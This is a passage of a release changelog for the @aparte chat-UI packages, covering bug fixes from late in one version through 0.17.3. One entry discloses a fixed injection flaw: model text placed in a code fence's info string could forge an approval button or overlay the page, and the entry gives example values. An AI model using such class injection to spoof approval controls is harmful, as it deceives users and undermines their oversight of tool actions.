    Why all three survived: this is the only plugin stylesheet in the repo and it is read by no guard. check:derived-vars reads coreStylesheets(), which is the import block of packages/core/src/index.ts, so the prefix rule, the single-owner rule, the dead-keyframe rule and “a documented @cssprop has a reader” all stop at core’s edge. A unit suite reading this sheet stands in for now; widening the guard’s corpus is a change to the guard, not to its input — its “a token is read only under its declarer” rule reports 18 false positives here, because the tokens are declared on .aparte-segment-artifact-* and read on descendants named .aparte-art-*, a relationship its BEM heuristic cannot see. @aparte/plugin-artifacts

  • f91584f: A light/dark theme pair now follows the OS colour scheme when the page sets no data-aparte-theme, the way core’s own theme does; nothing to change on your side.

    The pair’s stylesheet keyed its dark half on [data-aparte-theme="dark"] alone, so a page in system dark — every page that sets no attribute — rendered the light theme’s white block on a dark bubble. The dark half now also applies under prefers-color-scheme: dark unless the root says light, the same three states core answers. @aparte/plugin-shiki

  • 4a73996: A streamed code fence now gets class="language-<name>", the same class a one-shot renderer writes — so model text can no longer wear core’s own aparte-* names while a message streams. Nothing to change in your code.

    streaming-markdown maps its LANG attribute to class and passes the fence’s info string through verbatim, and the wrapper this package installs filtered only href and src. So three backticks followed by aparte-approval-option aparte-btn aparte-btn--solid painted a pixel-perfect approval button inside the transcript — the exact forgery core’s sanitizer drops on the one-shot path — and a fence naming a position: fixed recipe (.aparte-select-dropdown, .aparte-sidebar__scrim) repainted the page around the chat. It stayed until the message settled, and on the simple-content path it did not go away even then.

    The class is prefixed rather than filtered, which fixes three things at once: the streamed DOM and the settled DOM now agree (both say language-…), language-* is the one prefix core’s class policy deliberately exempts, and highlightMarkdownFences can finally read a streamed fence’s language. The token is the first word of the info string, truncated at the first character a language name cannot hold — c++ and f# survive, py<script> becomes py, and an info string with nothing nameable in it writes no class at all. @aparte/plugin-streaming-markdown

  • 7802512: A failed model load is retried on the next title instead of disabling auto-titling for the life of the page. Nothing to change on your side.

    The model is resolved once and cached, and the cache kept a REJECTED promise: one transient failure — the model fetch, a CSP hiccup on the dynamic import — and every conversation from then on quietly kept its default title. @aparte/plugin-shiki clears its cached promise on failure for the same reason. The error still reaches the caller; only the caching of it is gone. @aparte/plugin-titler

  • 19d708d: clearMessages({ revokeAttachments: false }) now reaches the host on all four wrappers, so the attachments in the transcript keep their object URLs. The helpers (useAparteChat, createAparteChat) forward the option too, and React’s exported UseAparteChat type declares it.

    The bridge was clearMessages: () => host?.clearMessages() at seven sites, so an explicit “don’t revoke” arrived as undefined and the viewport revoked by default — the exact inversion of what the caller asked for, and every image and file chip still on screen came back broken. TypeScript could not see it: a zero-parameter function is assignable to a one-optional-parameter signature, so satisfies, implements and Svelte’s _assertImperativeParity all passed. Each wrapper’s suite now asserts it against a spied URL.revokeObjectURL — the option kept, and the default (revoke) kept too. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 0e0814e: provideAparte’s documentation now shows the calls React, Vue and Svelte make instead of it, so its absence in the other three wrappers is not read as a missing feature. Nothing to change in your code: the docblock ships in the published types.

    The docblock said only that you “can equally call aparteGlobalConfig.* yourself” — a capability named in passing, with no example, which is the shape a reader skips. It now carries the four calls that replace the provider (register a provider, set the model config, set the locale, set data-aparte-theme) and says what Angular alone needs it for: an initializer that runs before the first component, and a DestroyRef to release the theme listener it registers. The one option that is not a plain call is named as such: theme: 'auto' is a prefers-color-scheme listener you write and dispose of yourself.

    The same block, and the trigger that would end the asymmetry — a second wrapper needing that listener with a disposer of its own, at which point applyThemeMode moves into @aparte/core and all four call it — are on the Wrapper surface reference page. @aparte/angular

  • 19d708d: The ergonomics helpers gain the four members they were missing — getMessages, scrollToBottom, focusInput, getViewport — so useAparteChat (React, Vue) and createAparteChat (Svelte) expose the whole imperative surface. On Angular: AparteAiService exposes client (the AparteClient the other three return as { client, abort }), two new inputs containerClass / containerStyle land on the inner .aparte-chat-container, and AparteUiProps is exported. All four now re-export AparteUiHandle from @aparte/core rather than declaring their own copy.

    The helper is the documented entry point, and it exposed 17 of the 20 members — silently narrowing the contract at exactly the reads and view acts a consumer reaches for after a send. getMessages() is not the messages state: the host’s list is the authority and, mid-stream, a frame ahead of what the framework has rendered.

    Angular’s containerClass / containerStyle are the parity the other three get for free. Their root IS the container, so a consumer’s className / class lands on the div carrying .aparte-chat-container, [overlay-composer] and [data-aparte-empty] — the selectors core’s shell recipe keys on. Angular’s own <aparte-chat> host sits one level above them, so overriding the shell needed a descendant selector there and nowhere else.

    Also on Angular: the bubble-reconcile effect no longer skips an empty list (React, Vue and Svelte all sync unconditionally). With the default bubbles the #bubble query hid it by re-syncing on its own; under a custom [bubbleTemplate] that query never fires and the effect was the only path left. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 7ccfa5c: AparteChat and AparteUi now ship real, compiler-checked prop, event and slot types — a wrong prop on either component is a tsc/svelte-check error in your own project, not just a mismatch you’d only catch at runtime.

    The package always re-exported ./AparteChat.svelte, but no AparteChat.svelte.d.ts was ever emitted next to it, so every import resolved to an untyped component and the props were documentation only. The cause: svelte-package’s own .d.ts emission (svelte2tsx’s emitDts) silently emits nothing under this package’s real tsconfig.json, which inherits noEmitOnError: true from the repo base — that setting blocks emission on diagnostics that are expected noise in svelte2tsx’s dts transform mode (svelte2tsx’s own diagnostic filter already treats those exact codes as non-fatal). A dedicated tsconfig.dts.json, passed via --tsconfig and used only for this one step, relaxes it; the package’s real tsc -b build is untouched by it. Verified with a standalone consumer project: importing the built package and assigning a wrong-typed prop to AparteChat now fails tsc --noEmit. @aparte/svelte

  • 43297ea: The emitted AparteChat.svelte.d.ts imports ./types.js with its extension, so the package’s types compile for a consumer on moduleResolution: nodenext with skipLibCheck: false.

    svelte-package copies the component’s <script> imports into the declaration it emits, and that one import was written without an extension while every sibling .ts file in the package already carried .js. Under nodenext TypeScript reported TS2835 on the shipped file. The realistic Svelte consumer (bundler resolution, skipLibCheck: true) never saw it; the fix is the import in the component, not a post-process on dist/. @aparte/svelte

Version-only bumps (no changes of their own): @aparte/plugin-approval, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/docs-mcp.

0.17.1

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 8b7ccb4: With @aparte/plugin-streaming-markdown as your only Markdown renderer, a finished reply now stays rendered when your framework re-renders the chat, instead of turning back into raw Markdown a frame after the turn ends. Nothing to change on your side; the one-shot provider registered as a workaround can go (#89).

    0.17.0 kept what the incremental parser drew on the settling update, but that update is not the last one a finished message receives. After every render the wrappers reconcile the last message, and for a finished one that sends each text segment { content, isStreaming: false } again. The parser was gone by then, so the second settle fell through to core’s escape-and-<br> default. The same happened to a reply streamed as plain content rather than segments, through setContent.

    writeStreamedMarkdown now remembers, per content element, the content it settled on from the parser’s DOM. A later non-streaming update carrying that same content leaves the element alone. Changed content, a one-shot provider registered since, or a new stream into the same element render as before. @aparte/core

  • a8776d2: <aparte-suggestions empty-only> now shows its starters while the conversation is empty, instead of hiding them for good on the first send: they stay hidden over a restored thread and come back after a new chat. <aparte-chat> now reflects data-empty whether or not center-empty is set (#90).

    If you counted messages to hide or re-show the starters yourself, you can drop that code. If you relied on aparte-chat[data-empty] only appearing with center-empty, add [center-empty] to your selector — core’s own rules already carry it, so no built-in layout moves.

    empty-only used to read the composer’s aparte-send alone. It did not look at the conversation, so a thread loaded through setMessages, a wrapper’s messages or a conversation manager showed the starters on top of its transcript (nothing had been sent yet), and after a new chat cleared the thread they never came back. The row now follows the transcript of the chat it serves — found around its composer, around itself, or by target — with the same test <aparte-chat> uses: no <aparte-chat-bubble>, and not loading, so a thread being fetched counts as not empty. The send is kept as the other half. It hides the row on the click rather than a frame later when the bubble lands, and it is all there is to read when the messages are not <aparte-chat-bubble>s (React’s renderBubble) or when the composer sits outside any chat. In both of those cases the row behaves exactly as before. The element lifts only a hidden it set itself, and removing empty-only shows the row again.

    data-empty on <aparte-chat> was a by-product of center-empty, so the chat’s one statement of “this conversation is empty” was only available to apps that also wanted a centred composer. It now follows the conversation on every <aparte-chat>, including Angular’s framework-managed host once its viewport renders. React, Vue and Svelte render a [data-aparte-chat] div rather than the element and are unchanged. @aparte/core

  • a3350fc: The README says beta where it said alpha: the package installs with @aparte/core@beta, and its declared surface is frozen as of 0.17.0. No code change. @aparte/core

  • 1f7107f: New: aparteGlobalConfig.registerToolSummary(toolName, (segment) => string) shows what a call targets after the tool’s name in the default row — read_file skills.json instead of read_file — and keeps the row’s states, spinner and disclosure (#91).

    Until now the only way to add that line was registerToolRenderer, which replaces the whole row: its six states, the spinner, the disclosure and the relabel contract, re-implemented and kept in step with core for one line of text. The summary is keyed by the tool’s name, like a renderer, so a display-only chat that registers no AparteTool gets it too.

    The text is written as text, never parsed as HTML; '' shows nothing, and a summary that throws shows nothing rather than breaking the row. It is read again on every update of the call, so it follows arguments that are still arriving, and on a config change, so one registered after a row is on screen reaches it. A tool with its own renderer draws its own row and its summary is not read. unregisterToolSummary and getToolSummary complete the pair, reset() clears them, and the AparteToolSummary type is exported. The new .aparte-tool-target element is muted, in the code font, and cut with an ellipsis, so a long path gives way before the state word does. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.17.2

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 2e4f9ee: With @aparte/plugin-streaming-markdown as your only Markdown renderer, a reply that arrives complete — a conversation restored after a reload, a non-streaming provider’s answer — now renders as Markdown instead of its raw source. Nothing to change on your side; a one-shot provider registered as a workaround can go (#93).

    The plugin rendered a reply while it streamed, and a reply that never streamed went through renderMarkdown, which knew only the one-shot provider and fell back to core’s escape-and-<br> default. So the same text rendered two ways depending on how it arrived, and the plugin page’s “that is all you need” held for half of them. renderMarkdown now runs a complete string through the incremental provider when no one-shot provider is registered — into a detached element, then through the sanitizer, the same two steps a streamed reply takes. A registered one-shot provider still takes precedence, a server render with no document still gets the escaping default, and a provider that throws on the whole string falls back to it too. @aparte/core, @aparte/plugin-streaming-markdown

  • 7513253: The README follows @aparte/titler 1.2: a single-language model file is 41 KB. No code change — the plugin accepts any titler, and 1.2 keeps the same title(message, budget?) API. @aparte/plugin-titler

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.17.3 Latest

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • @aparte/engine@0.17.3 @aparte/core

  • 5ec1e8a: Fixed: in controlled mode (messages with onMessagesChange), a finished reply could roll back to an earlier state — its text cut mid-word, its tool rows gone. It happened when the parent re-rendered late, which React does in Safari.

    The chat emits its list as it streams, the parent stores it, and the prop comes back. When the parent’s render lands after the chat’s next write, the prop that arrives is an EARLIER emit, and the wrapper took it for the parent’s word: it rolled the list back, the chat built its next writes on the stale copy, and the reply stayed broken. Measured in the examples’ browser suite at about one run in five on React + WebKit. The wrappers now recognise their own emits when they come back — current or stale — and ignore them; a list the parent builds itself is still applied. Angular is unaffected: its list is one model() signal both sides write in step. @aparte/react, @aparte/svelte, @aparte/vue

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/locale-fr, @aparte/docs-mcp.